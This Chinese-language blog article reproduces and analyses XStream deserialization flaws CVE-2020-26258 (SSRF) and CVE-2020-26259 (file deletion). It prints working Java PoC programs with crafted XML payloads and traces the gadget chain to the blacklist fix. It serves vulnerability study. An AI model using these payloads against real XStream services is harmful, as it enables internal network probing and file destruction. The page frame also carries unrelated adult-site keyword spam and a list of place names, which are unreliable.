中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

發布時間:2021-12-28 17:50:03 來源:億速云 閱讀:197 作者:柒染 欄目:安全技術

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

Xstream 是 Java 類庫,用來將對象序列化成 XML (JSON) 或反序列化為對象。XStream 是一款開源軟件,允許在 BSD 許可證的許可下分發。

0x01 漏洞描述

Xstream上次對CVE-2020-26217處理并不徹底,雖然通過黑名單方法阻止了遠程代碼執行,但是仍然可以采用類似思路實現文件刪除與服務器請求偽造。

影響版本

Xstream < = 1.4.14

修復版本

Xstream > = 1.4.15

風險等級

嚴重

0x02 PoC

CVE-2020-26258的 PoC 如下:

import com.thoughtworks.xstream.XStream;/*CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshallingwith XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.All versions until and including version 1.4.14https://x-stream.github.io/CVE-2020-26258.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26258 {public static void main(String[] args) {String ssrf_xml = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='javax.activation.URLDataSource'>\n" +"            <url>http://localhost:8989/internal/:</url>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";XStream xstream = new XStream();xstream.fromXML(ssrf_xml);}}

CVE-2020-26259 的 PoC 如下:

import com.thoughtworks.xstream.XStream;/*CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local hostwhen unmarshalling as long as the executing process has sufficient rights.https://x-stream.github.io/CVE-2020-26259.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26259 {public static void main(String[] args) {String xml_poc = "<map>\n" +"  <entry>\n" +"    <jdk.nashorn.internal.objects.NativeString>\n" +"      <flags>0</flags>\n" +"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +"        <dataHandler>\n" +"          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +"            <contentType>text/plain</contentType>\n" +"            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +"              <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +"            </is>\n" +"          </dataSource>\n" +"          <transferFlavors/>\n" +"        </dataHandler>\n" +"        <dataLen>0</dataLen>\n" +"      </value>\n" +"    </jdk.nashorn.internal.objects.NativeString>\n" +"    <string>test</string>\n" +"  </entry>\n" +"</map>";XStream xstream = new XStream();xstream.fromXML(xml_poc);}}

0x03 漏洞詳情

復現流程

環境

idea 構建maven工程,使用上述 PoC,pom文件為:

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>1</groupId><artifactId>1</artifactId><version>1.0-SNAPSHOT</version><!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream --><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies></project>

直接運行即可。

復現

  • CVE-2020-26258

使用 flask 開一個臨時服務

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

運行 PoC 收到請求

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

  • CVE-2020-26259

運行 PoC 前:

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

運行 PoC 后:

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

漏洞分析

這兩個漏洞基本類似上次的CVE-2020-26217,主要是利用 Xstream 在反序列化map 對象時會檢查是否存在 entry:如果存在,那么在構建這個 entry 的過程中,會調用 entry 的hashCode 函數。CVE-2020-26217與本次兩個都是使用到了jdk.nashorn.internal.objects.NativeString 的 hashCode函數。

調試分析

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

使用 xstream 的 fromXml 進行反序列化:

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

跟進到 putCurrentEntryIntoMap,在 Xstream 構建 entry 的過程中,將本次的key 值即我們提供的 NativeString, put 到 map中:

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

put 過程會進行一步 hash 操作:

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

在 hash 里調用了key 的 hashCode 函數,即我們輸入的jdk.nashorn.internal.objects.NativeString 的 hashCode 函數。

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

NativeString 的 hashCode 函數調用 getStringValue,進而調用其 value 的toString 函數,而這個value則是我們提供的com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data。

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

Base64Data 的 toString 調用了其 get。

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

目前為止,這兩個漏洞與CVE-2020-26217一致。CVE-2020-26217 利用的是readFrom 及其后續,不過因為 Xstream 黑名單限制了進行遠程代碼執行,這里利用 getInputStream 與 close 進行 ssrf 和文件刪除。

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

InputStream is = this.dataHandler.getDataSource().getInputStream();是觸發ssrf的地方,使用 javax.activation.URLDataSource 的 getInputStream 函數:

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

URLDataSource 的 getInputStream 函數就是訪問傳入的 url。

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

文件刪除則是在 ReadAllStream 的 close里進行的。

修復分析

XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的

添加黑名單。

看完上述內容,你們掌握XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

黑水县| 溆浦县| 方山县| 宣城市| 封开县| 滨海县| 普兰店市| 陵川县| 元谋县| 宿州市| 榆树市| 泽普县| 白沙| 米易县| 女性| 德清县| 普陀区| 平谷区| 罗源县| 上蔡县| 偃师市| 胶州市| 太湖县| 林州市| 开鲁县| 大名县| 喀喇| 涟源市| 闵行区| 昆明市| 冷水江市| 怀安县| 龙山县| 左云县| 娄底市| 河东区| 安化县| 同德县| 阿尔山市| 湖南省| 恭城|